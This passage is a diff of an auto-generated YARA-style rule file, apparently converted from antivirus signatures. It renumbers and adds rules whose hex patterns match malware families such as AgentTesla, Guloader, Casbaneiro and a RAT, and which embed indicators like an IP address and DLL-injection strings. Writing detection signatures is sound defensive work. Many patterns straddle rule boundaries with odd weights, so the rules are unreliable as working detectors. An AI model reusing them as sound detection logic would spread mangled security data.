((#a_54_0 & 1)*18467+(#a_4d_1 & 1)*3328+(#a_48_4 & 1)*1792+(#a_41_5 & 1)*840+(#a_00_6 & 1)*115) >=4 } -rule _InfrastructureShared_14964{ +rule _InfrastructureShared_15942{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -172513,7 +183991,7 @@ rule _InfrastructureShared_14964{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*115+(#a_69_2 & 1)*28229+(#a_6e_3 & 1)*28267+(#a_36_4 & 1)*29285) >=5 } -rule _InfrastructureShared_14965{ +rule _InfrastructureShared_15943{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -172527,7 +184005,7 @@ rule _InfrastructureShared_14965{ ((#a_54_0 & 1)*18467+(#a_20_1 & 1)*26478+(#a_67_2 & 1)*26990+(#a_d3_3 & 1)*70+(#a_6a_4 & 1)*29888) >=5 } -rule _InfrastructureShared_14966{ +rule _InfrastructureShared_15944{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 04 00 21 " @@ -172539,7 +184017,7 @@ rule _InfrastructureShared_14966{ ((#a_46_0 & 1)*16675+(#a_f0_1 & 1)*0+(#a_07_2 & 1)*-32473) >=6 } -rule _InfrastructureShared_14967{ +rule _InfrastructureShared_15945{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -172552,7 +184030,7 @@ rule _InfrastructureShared_14967{ ((#a_54_0 & 1)*18467+(#a_00_3 & 1)*105+(#a_73_4 & 1)*17005+(#a_77_5 & 1)*13569) >=6 } -rule _InfrastructureShared_14968{ +rule _InfrastructureShared_15946{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -172567,7 +184045,7 @@ rule _InfrastructureShared_14968{ ((#a_54_0 & 1)*18467+(#a_6d_1 & 1)*14424+(#a_65_2 & 1)*14125+(#a_23_3 & 1)*6+(#a_47_4 & 1)*-32487+(#a_5c_5 & 1)*24930) >=6 } -rule _InfrastructureShared_14969{ +rule _InfrastructureShared_15947{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -172581,7 +184059,7 @@ rule _InfrastructureShared_14969{ ((#a_54_0 & 1)*18467+(#a_65_1 & 1)*26998+(#a_3a_2 & 1)*23922+(#a_52_3 & 1)*21320+(#a_32_4 & 1)*26169) >=6 } -rule _InfrastructureShared_14970{ +rule _InfrastructureShared_15948{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 07 00 21 " @@ -172589,14 +184067,30 @@ rule _InfrastructureShared_14970{ $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 41 67 65 6e 74 54 65 73 6c 61 2e 50 4b 35 34 21 4d 54 42 00 01 00 08 81 01 54 6f 53 74 72 69 6e 67 01 00 09 81 01 41 70 70 44 6f 6d 61 69 6e 01 00 25 81 01 24 33 36 35 64 33 38 34 35 2d 33 63 66 38 2d 34 36 34 } //18467 $a_66_1 = {32 2d 36 34 65 35 33 64 34 34 65 65 34 31 01 00 0a 81 01 70 6f 77 65 72 73 68 65 6c 6c 01 00 11 81 01 47 65 74 42 79 74 65 41 72 72 61 79 41 73 79 6e 63 01 00 29 03 31 00 } //11617 $a_00_2 = {2e 00 32 00 32 00 32 00 2e 00 35 00 38 00 2e 00 35 00 36 00 2f 00 90 02 32 2e 00 70 00 6e 00 67 00 90 00 01 00 17 03 31 38 35 2e 32 32 32 2e 35 38 2e 35 36 2f } //56 - $a_2e_3 = {6e 67 90 00 00 00 78 e1 00 00 07 00 07 00 07 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 46 75 62 75 6b 69 21 4d 54 42 00 01 00 } //656 - $a_00_4 = {6b 00 61 00 67 00 69 00 53 00 68 00 61 00 72 00 65 00 64 00 53 00 65 00 63 00 74 00 69 00 6f 00 6e 00 01 00 14 01 5c 00 73 00 79 00 73 00 74 00 65 00 6d 00 33 00 32 00 5c 00 01 00 0c 01 5f 46 75 } //292 - $a_69_5 = {72 6f 63 32 01 00 0e 01 6d 00 6d 00 63 00 2e 00 65 00 78 00 65 00 01 00 30 01 5c 5c 3f 5c 67 6c 6f 62 61 6c 72 6f 6f 74 5c 73 79 73 74 65 6d 72 6f 6f 74 5c 73 79 73 74 65 6d 33 32 5c 73 79 73 70 72 65 70 5c 75 6e 62 63 6c 01 00 12 01 43 6f 72 42 69 6e 64 54 6f 52 75 6e 74 69 6d 65 45 78 01 00 09 01 43 72 65 61 74 65 55 } //30050 + $a_2e_3 = {6e 67 90 00 00 00 78 e1 00 00 07 00 07 00 07 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 44 36 30 31 21 4d 54 42 00 01 } //656 + $a_01_4 = {6b 61 66 66 65 66 6c 64 65 72 6e 65 73 2e 65 78 65 01 00 15 81 01 5c 66 6c 6c 65 73 6d 64 65 74 73 5c 6e 69 67 65 72 2e 69 6e 69 01 00 17 81 01 45 6c 69 64 61 73 31 37 33 5c 42 67 72 65 74 73 5c 72 75 73 73 65 6e 01 00 20 81 01 5c 50 72 6f 69 6e 64 75 73 74 72 69 61 6c 37 32 5c 50 61 75 73 61 6c 69 6f 6e 32 33 2e 7a 69 70 01 00 10 81 01 5c 50 65 70 70 65 72 69 73 68 6c 79 2e 6a 70 67 } //4352 + $a_81_5 = {5c 72 65 6e 68 61 61 72 73 5c 56 72 69 6d 6d 65 6c 65 6e 73 32 38 2e 69 6e 69 } //1 \renhaars\Vrimmelens28.ini + $a_81_6 = {5c 72 69 65 67 67 65 72 5c 2a 2e 68 74 6d } //1 \riegger\*.htm condition: - ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*11617+(#a_00_2 & 1)*56+(#a_2e_3 & 1)*656+(#a_00_4 & 1)*292+(#a_69_5 & 1)*30050) >=6 + ((#a_54_0 & 1)*18467+(#a_66_1 & 1)*11617+(#a_00_2 & 1)*56+(#a_2e_3 & 1)*656+(#a_01_4 & 1)*4352+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1) >=6 } -rule _InfrastructureShared_14971{ +rule _InfrastructureShared_15949{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 44 44 36 30 31 21 4d 54 42 00 01 00 11 81 01 6b 61 66 66 65 66 6c 64 65 72 6e 65 73 2e 65 78 65 01 00 15 81 01 5c 66 6c 6c 65 73 6d 64 65 74 73 5c 6e 69 67 65 72 2e 69 6e 69 01 00 17 81 01 45 6c 69 } //18467 + $a_31_1 = {33 5c 42 67 72 65 74 73 5c 72 75 73 73 65 6e 01 00 20 81 01 5c 50 72 6f 69 6e 64 75 73 74 72 69 61 6c 37 32 5c 50 61 75 73 61 6c 69 6f 6e 32 33 2e 7a 69 70 01 00 10 81 01 5c 50 65 70 70 65 72 69 73 68 6c 79 2e 6a 70 67 01 00 1a 81 01 5c 72 65 6e 68 61 61 72 73 5c 56 72 69 6d 6d 65 6c 65 6e 73 32 38 2e 69 6e 69 01 00 0e 81 01 5c 72 69 65 67 67 } //24932 + $a_2a_2 = {68 74 6d 00 00 78 e1 00 00 07 00 07 00 07 00 21 23 54 45 4c 3a 48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 46 75 62 75 6b 69 21 4d 54 42 00 01 00 24 01 41 00 6b 00 61 00 67 00 69 00 53 00 68 00 61 00 72 00 65 00 64 00 53 00 65 00 63 00 74 00 69 00 6f 00 6e 00 01 00 14 01 5c } //29285 + $a_00_4 = {65 00 6d 00 33 00 32 00 5c 00 01 00 0c 01 5f 46 75 62 75 6b 69 50 72 6f 63 32 01 00 0e 01 6d 00 6d 00 63 00 2e 00 65 00 78 00 65 00 01 00 30 01 5c 5c 3f 5c 67 6c 6f 62 61 6c 72 6f 6f 74 5c 73 79 73 74 65 6d 72 6f 6f 74 5c 73 79 73 74 65 6d 33 32 5c 73 79 73 70 72 65 70 5c 75 6e 62 63 6c 01 00 12 01 43 6f 72 42 69 6e 64 54 6f 52 75 6e 74 69 6d 65 } //115 + $a_00_5 = {09 } //30789 + $a_65_6 = {74 65 55 72 69 00 00 78 e1 00 00 07 00 07 00 0a 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 53 70 79 3a 57 69 6e 33 32 2f 43 61 73 62 61 6e 65 69 72 6f 2e 44 00 01 00 0a 01 63 6c 69 63 61 50 61 75 73 61 01 00 0e 01 3c 7c 3e 41 6e 6f 4e 6f 76 6f 20 31 2e 30 01 00 0a 01 65 73 63 6f 6e 64 65 41 70 70 01 00 09 01 6d 6f 73 74 72 61 41 70 70 01 00 06 } //17153 + condition: + ((#a_54_0 & 1)*18467+(#a_31_1 & 1)*24932+(#a_2a_2 & 1)*29285+(#a_00_4 & 1)*115+(#a_00_5 & 1)*30789+(#a_65_6 & 1)*17153) >=7 + +} +rule _InfrastructureShared_15950{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -172611,7 +184105,7 @@ rule _InfrastructureShared_14971{ ((#a_4c_0 & 1)*21539+(#a_00_2 & 1)*121+(#a_45_3 & 1)*28009+(#a_70_4 & 1)*25956+(#a_3c_5 & 1)*3584+(#a_41_6 & 1)*17221) >=7 } -rule _InfrastructureShared_14972{ +rule _InfrastructureShared_15951{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 0a 00 21 " @@ -172630,7 +184124,7 @@ rule _InfrastructureShared_14972{ ((#a_46_0 & 1)*16675+(#a_6d_1 & 1)*2304+(#a_41_2 & 1)*29300+(#a_01_3 & 1)*23867+(#a_00_4 & 1)*69+(#a_4d_5 & 1)*21076+(#a_72_6 & 1)*25459+(#a_00_7 & 1)*24933+(#a_65_8 & 1)*29285+(#a_6d_9 & 1)*28261) >=7 } -rule _InfrastructureShared_14973{ +rule _InfrastructureShared_15952{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 05 00 21 " @@ -172642,7 +184136,7 @@ rule _InfrastructureShared_14973{ ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*28+(#a_00_3 & 1)*49) >=8 } -rule _InfrastructureShared_14974{ +rule _InfrastructureShared_15953{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 06 00 21 " @@ -172657,7 +184151,7 @@ rule _InfrastructureShared_14974{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*144+(#a_6c_2 & 1)*17408+(#a_61_3 & 1)*1+(#a_72_4 & 1)*31073+(#a_61_5 & 1)*26158) >=8 } -rule _InfrastructureShared_14975{ +rule _InfrastructureShared_15954{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -172674,7 +184168,7 @@ rule _InfrastructureShared_14975{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24940+(#a_65_2 & 1)*26214+(#a_61_3 & 1)*265+(#a_5f_4 & 1)*25957+(#a_00_5 & 1)*116+(#a_65_6 & 1)*28534+(#a_01_7 & 1)*4352) >=8 } -rule _InfrastructureShared_14976{ +rule _InfrastructureShared_15955{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -172691,7 +184185,7 @@ rule _InfrastructureShared_14976{ ((#a_54_0 & 1)*18467+(#a_02_1 & 1)*30821+(#a_3d_2 & 1)*26975+(#a_73_3 & 1)*25458+(#a_73_4 & 1)*26996+(#a_5c_5 & 1)*-32757+(#a_65_6 & 1)*21293+(#a_6f_7 & 1)*29555) >=8 } -rule _InfrastructureShared_14977{ +rule _InfrastructureShared_15956{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -172708,7 +184202,7 @@ rule _InfrastructureShared_14977{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*47+(#a_65_2 & 1)*1+(#a_00_3 & 1)*66+(#a_44_4 & 1)*384+(#a_42_5 & 1)*-32761+(#a_5f_6 & 1)*20569+(#a_41_7 & 1)*8448) >=8 } -rule _InfrastructureShared_14978{ +rule _InfrastructureShared_15957{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 0c 00 21 " @@ -172728,7 +184222,7 @@ rule _InfrastructureShared_14978{ ((#a_46_0 & 1)*16675+(#a_65_2 & 1)*12033+(#a_43_3 & 1)*26987+(#a_49_4 & 1)*8250+(#a_4e_5 & 1)*29559+(#a_20_6 & 1)*25120+(#a_6c_7 & 1)*28257+(#a_73_8 & 1)*19713+(#a_00_9 & 1)*14641+(#a_32_10 & 1)*385+(#a_63_11 & 1)*15361) >=8 } -rule _InfrastructureShared_14979{ +rule _InfrastructureShared_15958{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -172742,7 +184236,7 @@ rule _InfrastructureShared_14979{ ((#a_46_0 & 1)*16675+(#a_01_1 & 1)*1792+(#a_00_4 & 1)*9+(#a_61_5 & 1)*28530+(#a_74_6 & 1)*25964) >=9 } -rule _InfrastructureShared_14980{ +rule _InfrastructureShared_15959{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 09 00 21 " @@ -172760,7 +184254,7 @@ rule _InfrastructureShared_14980{ ((#a_4c_0 & 1)*21539+(#a_61_1 & 1)*29550+(#a_00_2 & 1)*31090+(#a_65_3 & 1)*384+(#a_6f_4 & 1)*28673+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_e1_8 & 1)*0) >=9 } -rule _InfrastructureShared_14981{ +rule _InfrastructureShared_15960{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -172778,7 +184272,7 @@ rule _InfrastructureShared_14981{ ((#a_46_0 & 1)*16675+(#a_37_1 & 1)*13614+(#a_65_2 & 1)*385+(#a_e1_3 & 1)*0+(#a_73_4 & 1)*19758+(#a_00_6 & 1)*12+(#a_4d_7 & 1)*28257+(#a_68_8 & 1)*384+(#a_01_9 & 1)*25968) >=10 } -rule _InfrastructureShared_14982{ +rule _InfrastructureShared_15961{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 03 00 21 " @@ -172790,7 +184284,7 @@ rule _InfrastructureShared_14982{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*-32735+(#a_6e_2 & 1)*28021) >=12 } -rule _InfrastructureShared_14983{ +rule _InfrastructureShared_15962{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0c 00 0c 00 0c 00 21 " @@ -172809,7 +184303,7 @@ rule _InfrastructureShared_14983{ ((#a_4c_0 & 1)*21539+(#a_6c_1 & 1)*26707+(#a_52_2 & 1)*25943+(#a_00_3 & 1)*58+(#a_00_5 & 1)*109+(#a_00_7 & 1)*0+(#a_4d_8 & 1)*28257+(#a_66_9 & 1)*30018+(#a_6f_10 & 1)*26994+(#a_3a_11 & 1)*19521) >=12 } -rule _InfrastructureShared_14984{ +rule _InfrastructureShared_15963{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0d 00 0d 00 06 00 21 " @@ -172824,7 +184318,7 @@ rule _InfrastructureShared_14984{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*46+(#a_00_2 & 1)*24948+(#a_69_3 & 1)*18689+(#a_54_4 & 1)*22273+(#a_2f_5 & 1)*14960) >=13 } -rule _InfrastructureShared_14985{ +rule _InfrastructureShared_15964{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 07 00 21 " @@ -172839,7 +184333,7 @@ rule _InfrastructureShared_14985{ ((#a_4c_0 & 1)*21539+(#a_72_1 & 1)*26214+(#a_72_2 & 1)*11881+(#a_00_4 & 1)*97+(#a_6c_5 & 1)*30062+(#a_01_6 & 1)*4864) >=14 } -rule _InfrastructureShared_14986{ +rule _InfrastructureShared_15965{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -172854,7 +184348,7 @@ rule _InfrastructureShared_14986{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*107+(#a_00_3 & 1)*68+(#a_4d_4 & 1)*28257+(#a_72_5 & 1)*19826+(#a_64_6 & 1)*24930) >=16 } -rule _InfrastructureShared_14987{ +rule _InfrastructureShared_15966{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 08 00 21 " @@ -172871,7 +184365,7 @@ rule _InfrastructureShared_14987{ ((#a_4c_0 & 1)*21539+(#a_68_1 & 1)*29281+(#a_64_2 & 1)*30015+(#a_01_3 & 1)*5+(#a_01_4 & 1)*5+(#a_01_5 & 1)*1+(#a_01_6 & 1)*1+(#a_01_7 & 1)*1) >=16 } -rule _InfrastructureShared_14988{ +rule _InfrastructureShared_15967{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,12 00 12 00 06 00 21 " @@ -172886,7 +184380,7 @@ rule _InfrastructureShared_14988{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*108+(#a_70_2 & 1)*4352+(#a_67_3 & 1)*25189+(#a_02_4 & 1)*5639+(#a_5f_5 & 1)*12380) >=18 } -rule _InfrastructureShared_14989{ +rule _InfrastructureShared_15968{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,17 00 17 00 05 00 21 " @@ -172900,19 +184394,33 @@ rule _InfrastructureShared_14989{ ((#a_54_0 & 1)*18467+(#a_de_1 & 1)*4868+(#a_04_2 & 1)*-28561+(#a_01_3 & 1)*28424+(#a_6f_4 & 1)*26485) >=23 } -rule _InfrastructureShared_14990{ +rule _InfrastructureShared_15969{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,64 00 64 00 03 00 21 " strings : $a_46_0 = {48 61 63 6b 54 6f 6f 6c 3a 57 69 6e 33 32 2f 42 75 67 52 6f 6c 6f 64 65 78 2e 41 21 64 68 61 00 64 00 39 03 3a 5c 30 31 5f 5f 5f 54 6f 6f 6c 73 5c 30 34 5f 5f 55 74 69 6c 69 74 79 5c 90 02 20 5c 90 03 03 03 78 36 34 6f 62 6a 5c } //16675 $a_65_1 = {73 65 5c 90 02 14 2e 70 64 62 90 00 64 00 35 03 3a 5c 30 31 5f 5f 5f 54 6f 6f 6c 73 5c 30 34 5f 5f 52 41 54 5c 90 02 20 5c 90 03 03 03 78 36 34 6f 62 6a 5c 52 65 6c 65 61 73 65 5c 90 02 14 2e 70 64 62 90 00 64 00 39 03 3a 5c 30 31 5f 5f 5f 54 6f 6f 6c 73 5c 30 34 5f 5f 57 65 62 54 72 6f 79 5c 90 02 20 5c 90 03 03 03 78 36 } //25938 - $a_6a_2 = {52 65 6c 65 61 73 65 5c 90 02 14 2e 70 64 62 90 00 00 00 78 e1 00 00 c8 00 c8 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4e 75 6b 65 4b 68 65 74 2e 47 21 64 68 61 00 64 00 23 01 75 74 5f 6d 7b 63 6d 64 5f 62 61 73 65 3a 3a 72 75 6e 4d 6f 64 75 6c 65 7d 20 2d 3e } //28468 + $a_6a_2 = {52 65 6c 65 61 73 65 5c 90 02 14 2e 70 64 62 90 00 00 00 78 e1 00 00 78 00 78 00 05 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 32 00 3d 01 38 f1 40 00 68 c3 40 00 d0 c4 40 00 14 c4 40 00 50 c6 40 00 50 c4 40 00 dc 05 41 00 3c dc 40 00 10 c6 } //28468 condition: ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25938+(#a_6a_2 & 1)*28468) >=100 } -rule _InfrastructureShared_14991{ +rule _InfrastructureShared_15970{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,78 00 78 00 05 00 21 " + + strings : + $a_4c_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 5a 75 73 79 2e 4d 52 21 4d 54 42 00 32 00 3d 01 38 f1 40 00 68 c3 40 00 d0 c4 40 00 14 c4 40 00 50 c6 40 00 50 c4 40 00 dc 05 41 00 3c dc 40 00 10 c6 40 00 d8 c6 40 00 } //21539 + $a_00_1 = {b4 de 40 00 4c 3e 41 00 e4 c8 40 00 68 fe 40 00 9c 19 00 1e 01 03 00 01 80 07 00 03 c0 03 80 07 c0 03 e0 03 c0 03 c0 03 c0 03 c0 03 e0 07 c0 07 ff ff e3 19 00 24 01 10 c2 40 00 34 c2 40 00 84 c0 } //16484 + $a_c0_2 = {00 cc c0 40 00 14 c1 40 00 5c c1 40 00 a4 c1 40 00 c4 c2 40 00 0a 00 1b 01 53 75 70 65 72 4e 6f 76 61 20 53 65 72 76 65 72 20 69 73 20 72 75 6e 6e 69 6e 67 0a 00 0c 01 53 75 70 65 72 4e 6f 76 61 52 41 54 00 00 78 e1 00 00 c8 00 c8 00 04 00 21 23 41 4c 46 50 45 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4e 75 6b 65 4b 68 65 74 2e 47 21 64 68 61 00 64 00 23 01 75 74 5f 6d 7b 63 6d 64 5f 62 61 73 65 3a 3a 72 75 6e 4d 6f 64 75 6c 65 7d 20 2d 3e 20 25 73 20 72 75 6e 64 00 23 01 75 74 5f 6d 7b 63 6d 64 } //64 + $a_73_3 = {3a 3a 73 65 6e 64 70 69 6e 67 7d 20 2d 3e 20 25 73 20 3a 20 25 73 64 00 2f 01 75 74 5f 6d 7b 61 70 69 32 5f 69 6e 6a 65 63 74 54 6f 7d 20 2d 3e 20 69 6e 6a 65 63 74 2e 20 70 69 64 3d 25 64 2c 20 64 6c 6c 20 3d 20 25 73 64 00 2f 01 75 74 5f 68 61 70 70 79 7b 73 74 61 72 74 5f 61 74 74 61 63 } //25183 + $a_2d_4 = {20 6d 6f 64 65 20 25 64 20 2f 20 63 6d 64 6c 69 6e 65 20 25 73 2e 00 00 78 e2 00 00 01 00 01 00 } //32104 + condition: + ((#a_4c_0 & 1)*21539+(#a_00_1 & 1)*16484+(#a_c0_2 & 1)*64+(#a_73_3 & 1)*25183+(#a_2d_4 & 1)*32104) >=120 + +} +rule _InfrastructureShared_15971{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,ffffffc8 00 ffffffc8 00 04 00 21 " @@ -172925,7 +184433,7 @@ rule _InfrastructureShared_14991{ ((#a_46_0 & 1)*16675+(#a_63_1 & 1)*27999+(#a_20_2 & 1)*28265+(#a_15_3 & 1)*1025) >=200 } -rule _InfrastructureShared_14992{ +rule _InfrastructureShared_15972{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -172935,7 +184443,7 @@ rule _InfrastructureShared_14992{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_14993{ +rule _InfrastructureShared_15973{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 02 00 21 " @@ -172946,7 +184454,7 @@ rule _InfrastructureShared_14993{ ((#a_4c_0 & 1)*21539+(#a_07_1 & 1)*704) >=1 } -rule _InfrastructureShared_14994{ +rule _InfrastructureShared_15974{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -172958,7 +184466,7 @@ rule _InfrastructureShared_14994{ ((#a_4c_0 & 1)*21539+(#a_31_1 & 1)*-30362+(#a_00_2 & 1)*-16129) >=1 } -rule _InfrastructureShared_14995{ +rule _InfrastructureShared_15975{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 07 00 21 " @@ -172972,7 +184480,7 @@ rule _InfrastructureShared_14995{ ((#a_54_0 & 1)*18467+(#a_02_2 & 1)*-28544+(#a_90_3 & 1)*-31743+(#a_6e_4 & 1)*22330+(#a_00_5 & 1)*49) >=1 } -rule _InfrastructureShared_14996{ +rule _InfrastructureShared_15976{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 03 00 21 " @@ -172983,7 +184491,7 @@ rule _InfrastructureShared_14996{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*54) >=2 } -rule _InfrastructureShared_14997{ +rule _InfrastructureShared_15977{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 05 00 21 " @@ -172997,7 +184505,7 @@ rule _InfrastructureShared_14997{ ((#a_54_0 & 1)*18467+(#a_f6_1 & 1)*-3849+(#a_54_2 & 1)*18467+(#a_00_3 & 1)*-28416+(#a_00_4 & 1)*0) >=2 } -rule _InfrastructureShared_14998{ +rule _InfrastructureShared_15978{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173009,7 +184517,7 @@ rule _InfrastructureShared_14998{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-28416+(#a_00_2 & 1)*0) >=3 } -rule _InfrastructureShared_14999{ +rule _InfrastructureShared_15979{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173020,7 +184528,7 @@ rule _InfrastructureShared_14999{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*1536) >=3 } -rule _InfrastructureShared_15000{ +rule _InfrastructureShared_15980{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173030,7 +184538,7 @@ rule _InfrastructureShared_15000{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15001{ +rule _InfrastructureShared_15981{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173040,7 +184548,7 @@ rule _InfrastructureShared_15001{ ((#a_54_0 & 1)*18467) >=3 } -rule _InfrastructureShared_15002{ +rule _InfrastructureShared_15982{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173051,7 +184559,7 @@ rule _InfrastructureShared_15002{ ((#a_54_0 & 1)*18467+(#a_00_2 & 1)*400) >=3 } -rule _InfrastructureShared_15003{ +rule _InfrastructureShared_15983{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -173063,7 +184571,7 @@ rule _InfrastructureShared_15003{ ((#a_46_0 & 1)*21283+(#a_ff_1 & 1)*9284+(#a_4c_2 & 1)*18433) >=3 } -rule _InfrastructureShared_15004{ +rule _InfrastructureShared_15984{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -173077,7 +184585,7 @@ rule _InfrastructureShared_15004{ ((#a_46_0 & 1)*16675+(#a_05_1 & 1)*-31898+(#a_46_2 & 1)*306+(#a_37_3 & 1)*17476+(#a_45_4 & 1)*13876) >=3 } -rule _InfrastructureShared_15005{ +rule _InfrastructureShared_15985{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -173089,7 +184597,7 @@ rule _InfrastructureShared_15005{ ((#a_54_0 & 1)*18467+(#a_34_1 & 1)*14646+(#a_42_2 & 1)*17221) >=3 } -rule _InfrastructureShared_15006{ +rule _InfrastructureShared_15986{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -173103,7 +184611,7 @@ rule _InfrastructureShared_15006{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*3529+(#a_e0_2 & 1)*-16127+(#a_00_3 & 1)*30720+(#a_00_4 & 1)*30720) >=3 } -rule _InfrastructureShared_15007{ +rule _InfrastructureShared_15987{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -173116,7 +184624,7 @@ rule _InfrastructureShared_15007{ ((#a_46_0 & 1)*16675+(#a_31_1 & 1)*12832+(#a_70_2 & 1)*27756+(#a_59_3 & 1)*16498) >=4 } -rule _InfrastructureShared_15008{ +rule _InfrastructureShared_15988{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -173129,7 +184637,7 @@ rule _InfrastructureShared_15008{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*-11766+(#a_53_2 & 1)*14958+(#a_65_3 & 1)*28496) >=4 } -rule _InfrastructureShared_15009{ +rule _InfrastructureShared_15989{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -173142,7 +184650,7 @@ rule _InfrastructureShared_15009{ ((#a_54_0 & 1)*18467+(#a_41_1 & 1)*22273+(#a_33_2 & 